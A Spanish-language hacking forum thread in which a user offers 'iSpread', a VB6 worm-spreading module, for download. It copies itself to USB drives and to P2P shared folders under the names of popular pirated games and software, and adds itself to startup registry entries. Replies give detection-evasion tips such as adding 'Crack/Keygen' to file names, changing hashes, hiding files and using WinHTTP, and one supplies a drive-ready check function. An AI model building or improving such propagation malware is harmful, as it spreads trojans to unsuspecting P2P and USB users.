Foro de elhacker.net

Bueno son las 3:56 de la mañana.. algo tarde pero es que he estado trabajando en algo que me ha llevado un buen rato porque he tenido que instalar todos los clientes p2p más usados por las personas para poder obtener las rutas del registro y asi poder patchear las carpetas compartidas de cada una, este modulo que les traigo aqui es un spreader, pero es y no es a la misma vez un simple spreader les explico porque :

* USB Spread : Es una modificación del modulo anterior del iUSB pero con la nueva caracteristica que comprueba si el dispositivo esta listo y asi se pueda autocopiar satisfactoriamente

(http://img329.imageshack.us/img329/1231/66844880.png)

* P2P Spread : Esta es la parte que más me costo trabajo , por que?

1- Tuve que instalar todos los fucking clientes p2p que ven a continuación

(http://img514.imageshack.us/img514/2093/66682384.png)

Esa es una imagen de la WMware con los clientes p2p instalados, eso fue necesario para poder obtener las entradas del registro de cada uno de ellos.

2- Como saben casi todos los spreaders que hay por ahi lo que hacen es coger y autocopiarse a la carpeta definida de cada uno de estos clientes, pues este spreader es distinto ya que obtiene la ruta directamente del registro con lo cual si existe el cliente p2p en el pc y el usuario cambio la ruta default del cliente se va a autocopiar de todas formas .

3- Y lo último y mejor... Obtiene los nombres del TOP de 100 Softwares y 100 Juegos más descargados de Thepiratebay y se autocopia con los mismos a las todas las carpetas P2P , si existe el archivo no se copia pero sino pasa algo como esto :

(http://img233.imageshack.us/img233/1950/61787254.png)

(http://img329.imageshack.us/img329/1679/93098684.png)

Jaja bonito no...

Y ya al final por aburrimiento le puse un addon para añadirse a las entradas del registro para que quedara algo asi :

(http://img329.imageshack.us/img329/6218/59306387.png)

..... Pués nada chicos este modulo de spread me ha costado algo de trabajo.. ahora si que no se pueden quejar porque no tienen para propagar su server por todas las redes de internet jeje ... Saludos a todos ;)

Link de descarga : http://exponelo.com/files/QRBIPGCB/iSpread.rar (http://exponelo.com/files/QRBIPGCB/iSpread.rar)

Lo que seria interesante seria el spread de MSN mediante api hoocking , a ver si te animas y lo haces :D ;)

Buen trabajo, ahora me bajo el codigo y te digo si veo algo que mejorar ;)

---

-Ordena mas tus codigos... Utiliza las tabulaciones...
-No me gusta la manera de saber si la unidad esta disponible... creo que esta es mejor:

Public Function IsDriverReady(ByVal sDrive As String) As Boolean
    If Right$(sDrive, 2) <> ":\" Then sDrive = Left$(sDrive, 1) & ":\"
    IsDriverReady = CBool(GetVolumeInformation(sDrive, ByVal vbNullString, 0&, 0&, 0&, 0&, ByVal vbNullString, 0&))
End Function

-Usa Option Explicit
-La ruta de la configuracion del Emule deberias sacarla del registro... ya que se puede cambiar...
-Para sacar el codigo HTML de alguna web seria menos detectable si usaras WinHTTP (la .dll, no .ocx, asi no hay dependencias, ya que esta en todos los PCs a partir del W$ 98 ;))
-Es muy sospechoso tener 100 archivos con el mismo icono y diferente nombre... talvez deberias solo obtener 5 nombres de forma aleatoria...
-Creo que seria mas interesante añadir Crack/Keygen delante del nombre.... ya que el software/juego pesa bastante mas que el EXE...

Saludos ;)

voy a checarlo.

aunque deberias ver lo del nombre xk anda otro code por hay que es Ispread bot worm el cual posee caracteristicas parecidas a este modulo

Yo arreglaria aùn màs tu codigo!¡.

Dulces Lunas

Lo ideal seria zipear todos los ejecutables generados para disimular xD

que tanto te crees realmente?, es mejor llenarlo con un dummy al final del exe y q cambie de icono, el zip no tanto, ya que un archivo dummy de 1 gb en un zip se reduce como a 100 kbs o menos aun!¡.

No es necesario en absoluto cambiar el icono, al menos no en la parte remota... me refiero a la persona que descargara el fichero de la red P2P... Aunque si sabe algo de informatica sospechara al ver un icono del VB en un supuesto juego entero... como dije antes mejor añadir CrackMe/Keygen al nombre del file...

Si no me equivoco se le podrian poner atributos de oculto a los ficheros creados, creo que aun asi el cliente P2P lo agrega a la lista de ficheros para compartir...

Otra cosa... lo del dummy de 1gb que se queda en 100kb.... eso dependera de como hagas el fichero dummy... si pones un String$(5000, "A") el ratio de compresion sera mucho mayor que si metes datos aleatorios...

No por eso, sino para que quede menos sospechoso xD, hace un tiempo recuerdo que algunos clientes p2p filtraban los archivos con extensiones .exe bat com etc por seguridad no se ahora XD...

Te hago una pregunta porque no vi el codigo, el spread a cada .exe que genera la cambia el hash md5?, porque los clientes p2p chequean el hash de cada archivo, y si son iguales solamente comparte uno

comparto esto con GB, fijate si compartes une exe con ares??,  igualmente la mejor opción es un fichero zip, lo que tendrias que hacer es inflar el exe, para que cambie el hash, a mi el modulo de skyweb me gusta algunas que otras cosas que se podrian mejorar pero muy buen code.

muy buenas, ultimamente parece que tengo algo de suerte  ;D.

yo estoy haciendo justamente lo mismo,me ta dando un quebradero,me acoplo por aki

que me servira pal futuro.

Hola, disculpen por la pregunta que les voy a hacer.-


una vez que cargo el modulo en el Vb.-ya funka, o hay que agregarle alguna/s lineas  :huh:



Gracias de antemano

Ya funka, solo tienes que hacerle llamadas para activar, pero supongo que modificarlo un poco a tu estilo no moleste al autor, aun asi podrias decirle.

No veo el link de descarga  :-\

Para esto revives un hilo? que esta mas viejo que nada!¡.

P.D.: Esta al final de el 1er post de SkyWeb

Dulces Lunas!¡.

Lo re-subo!¡.

http://infrangelux.sytes.net/filex/index.php?dir=/BlackZeroX/Programacion/vb6/Ajenos/Modulos&modo=2

Sangriento Infierno Lunar!¡.